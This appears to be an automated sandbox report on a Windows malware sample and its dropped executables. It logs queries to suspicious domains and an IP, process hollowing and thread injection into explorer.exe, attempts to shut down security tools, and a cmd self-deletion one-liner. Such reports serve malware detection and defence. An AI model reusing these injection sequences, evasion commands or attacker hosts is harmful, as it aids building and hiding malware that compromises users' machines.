Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: infinity-cheats.com
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: C26E.exe.13.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Memory written: C:\Users\user\Desktop\H4HU4rg1NM.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Memory written: C:\Users\user\AppData\Roaming\iudbdfd base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Memory written: C:\Users\user\AppData\Local\Temp\325D.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Memory written: C:\Users\user\AppData\Local\Temp\110B.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Memory written: C:\Users\user\AppData\Local\Temp\9B5C.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

1_2_004E0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Thread created: C:\Windows\explorer.exe EIP: 4DE1930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Thread created: unknown EIP: 5AA1930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Thread created: unknown EIP: 5DD1930	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: B6E008

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Message posted: Message id: QUERYENDSESSION

.NET source code references suspicious native API functions

Show sources

Source: C26E.exe.13.dr, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 9B5C.exe.13.dr, pcTrevOytiruceSegasseMledoMecivreSmetsyS82332.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 110B.exe.13.dr, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.0.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.2.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.2.110B.exe.f00000.0.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.3.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.1.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.110B.exe.400000.8.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.5.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.110B.exe.420000.2.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.110B.exe.420000.3.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: explorer.exe, 0000000D.00000000.304994370.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000D.00000000.292494927.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000D.00000000.320948335.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000D.00000000.325697774.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000D.00000000.292777404.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.321258402.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.305774969.00000000011E0000.00000002.00020000.sdmp, 7728.exe, 00000023.00000002.576388055.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000D.00000000.330489121.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.298660719.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.315477557.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_0042D860
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: GetLocaleInfoW,_malloc,__MarkAllocaS,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,__freea,	1_2_00434C70
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	1_2_00434C20
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _strlen,EnumSystemLocalesA,	1_2_00431550
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,InterlockedDecrement,	1_2_00424590
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultCountry,	1_2_004315A0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_00430E30
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	1_2_004316E0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,InterlockedDecrement,InterlockedDecrement,	1_2_0042EEF0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_00430AF0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,GetLocaleInfoA,__stricmp,__strnicmp,_strlen,_TestDefaultCountry,GetLocaleInfoA,__stricmp,_strlen,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,	1_2_00430EF0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,_strncpy_s,__invoke_watson_if_error,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_0042C340
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,InterlockedDecrement,InterlockedDecrement,	1_2_0042EB10
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_00431330
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_004317E0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,	1_2_004313B0
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	22_2_00434C50
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	22_2_00431810
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	22_2_0042D890
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: GetLocaleInfoW,_malloc,__MarkAllocaS,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,__freea,	22_2_00434CA0
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,InterlockedDecrement,	22_2_004245C0
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultCountry,	22_2_004315D0
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _strlen,EnumSystemLocalesA,	22_2_00431580
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	22_2_00430E60
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,InterlockedDecrement,InterlockedDecrement,	22_2_0042EB40
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	22_2_00431360
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,_strncpy_s,__invoke_watson_if_error,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	22_2_0042C370
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	22_2_00431710
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,InterlockedDecrement,InterlockedDecrement,	22_2_0042EF20
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	22_2_00430B20
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,GetLocaleInfoA,__stricmp,__strnicmp,_strlen,_TestDefaultCountry,GetLocaleInfoA,__stricmp,_strlen,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,	22_2_00430F20
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,	22_2_004313E0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	25_2_0040AE00

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\110B.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\110B.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8CA5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9B5C.exe VolumeInformation
